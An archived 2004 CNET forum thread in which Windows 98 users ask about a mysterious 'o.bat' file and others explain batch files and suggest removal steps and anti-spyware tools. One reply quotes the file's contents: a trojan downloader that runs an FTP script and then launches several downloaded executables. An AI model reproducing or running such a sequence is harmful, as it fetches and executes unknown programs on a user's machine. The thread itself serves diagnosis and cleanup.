Thank you for being a valued part of the CNET community. As of December 1, 2020, the forums are in read-only format. In early 2021, CNET Forums will no longer be available. We are grateful for the participation and advice you have provided to one another over the years.

Thanks,

CNET Support

General discussion

What is o.bat??

Mar 27, 2004 2:04AM PST

Somehow this crazy thing is on my desktop and wondering what it is and if this is the reason that on my Family Tree Maker genealogy program I can not change my fonts. It looks like it is a font thing but I am afraid to mess with it as I could get in deeper trouble then I am. I have contacted FTM and they have walked me through what they know to do and still the font is about a size 3. I run Windows 98SE and IE. Thanks

Discussion is locked

- Collapse -
Re:What is o.bat??
Mar 27, 2004 7:25AM PST

The .bat refers to it being a "batch" file which is a text file the command interpreter will recognize and run line by line. If you did not install anything recently, it might be suspicious so, hopefully, you have a good anti virus program that is current and some pest control utilities as well and have run them. I would not launch the batch file but you can usually bring them into a word processor and view the contents line by line. Somewhere, you should find an executable file that runs a program. If it's not one you recognize, I would get rid of it.

- Collapse -
Re:Re:What is o.bat??
Mar 27, 2004 9:38AM PST

Thanks, I do run my live update and virus check each morning but do not have any pest control utilities as not sure what they are! I am really a newbie. do not have a clue how to get this file into my word processor to check it out. I live in such a small town and only one computer tech here and have lost all confidence in him. Thanks

- Collapse -
Re:Re:Re:What is o.bat??
Mar 27, 2004 11:06AM PST

To check it out, you would need to know if the file is actually on your desktop or just a link to it. You do this by doing a right click and going to "properties". You should see an option to "Find Target". This will bring you to the actual file. From here you can do a right click again and then select "Open with". Here you select a word processor or just Notepad. It should display a line by line set of instructions and could be long or short. Somewhere it probably results in launching an executable file (ends with .exe". This is a program instructed to run and the other lines could simply be a way to navigate to it or could include other variables. This is not important. What is important is to know what program is going to be run. Is it one you installed or is it an invader? This is what you need to determine. If the later, you need to find a way to get rid of it but first you have to know where it is. You are right in not just running the batch file to see what's going to happen but deleting a batch file does not get rid of a program itself. Hope this helps

- Collapse -
Re:Re:Re:Re:What is o.bat??
Mar 27, 2004 11:21AM PST

Thanks so much. I am to darn tired tonight to try to get this done so will wait until tomorrow. Thanks so much for all of your time. K

- Collapse -
Re:Re:Re:Re:Re:What is o.bat??
Apr 2, 2004 6:53AM PST

When you finally find the actuall, o.bat file, right click on it, and click on edit. That will open notepad with the contents of the file.

If you want help interpreting it, paste the contents of that file in here, and I can tell you if its a hack or something malicious.

--
Grinler
http://www.bleepingcomputer.com
Source of Original Content and Tutorials for the beginning computer user.

- Collapse -
Re:Re:Re:Re:Re:Re:What is o.bat??
May 14, 2004 11:56PM PDT

I have the same o.bat file along with about 3 or 4 exe files on my desktop. I've noticed my IE is hijacked to some advertising server with pop-up after pop-up and one of the adds happend to be for a spyware removal program. I can't use IE either. Once I get rid of all the adds, IE closes. The exe files are...

Installer2.exe
infamous_installer.exe
solo180.exe
and something called...CS4P028.exe

It all looks malicious enough to me. The batch file reads as follows...

if not exist C:\WINDOWSstatuslog ftp -s:o
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe

- Collapse -
Re:What is o.bat??
Apr 4, 2004 3:35PM PDT

Click on Start. Go to Find. Type in o.bat and search through "my computer".
That should bring up all locations where it is. Then simply delete them all. Then reboot and see if it reappears. If it does, then the odds are you have a virus of some description that has invaded yr comp. Best place to try to eleminate it, is the "Trend Micro Housecall" site.
Their server will scan the whole of your computer and find it if it is a virus in their extensive list.
I checked my computer to see if o.bat was a normal Win98SE batch but there isn't one anywhere.
If you know how to check the registry then run a search there too looking for weird names. Make sure that you have backed up the registry first before deleting stuff.
If it appeared in the last couple of days,remove all cookies and temp internet files and after that, one way is to go into MS DOS on start up and type "scanreg /restore" and select a start up date that is BEFORE the first appearance of o.bat. If you haven't installed any new programmes lately this may eliminate it from your system.
Odds are it's a trojan or virus, though.

- Collapse -
Re:Re:What is o.bat??
May 15, 2004 3:58AM PDT

I read through the thread and noticed not one person mentioned doing a search(Yahoo or Google) that would have told you this is a Trojan. A virus scan probably won't find such. A parasite finder would. Spybot Search and Destroy and Adaware 6.0 are excellent Free programs. The links,as well as other good ones are on the forums. Check the "Tips for Newbies". Good luck. chuck

- Collapse -
As previoulsy stated this is a Batch File
May 15, 2004 3:58AM PDT

This is a DOS command
If you click the Cmmd button Dos will show
Then be careful do not alter anything, but scrool through the various entries
If you type dir/w/p this will put up all the entries in which ever directory you are in. When you find O.Bat where the chevron is type "Type O.Bat" without the quotes this will then display what O.Bat's instructions are. Then on the chevron again tye "DEL O.Bat" again without the quotes.
Make sure you do not make a mistake because DOS ( disc Operating System) is the code which made Gates his Billions and the Majority of PC still run on a derivative of it

- Collapse -
Re:What is o.bat??
May 20, 2004 1:23PM PDT

I did some research on that file and have reviewed the file itself. What i found out is that installs a bunch of files on your computer through ftp. (so thats what it looks like). When i researched the file i found that it may be a trojanhorse of somekind. Because of the .bat ext. a antivirus most likely will not pick it up and neither will a program that scans for spyware. I also found out it hides a file in the temp directory. You will have to unhide all the files and delete any file in the temp directory to remove it. also I would delete any cookies on the computer, and also the temp internet files and history while you are in the windows directory. Hope this helps out.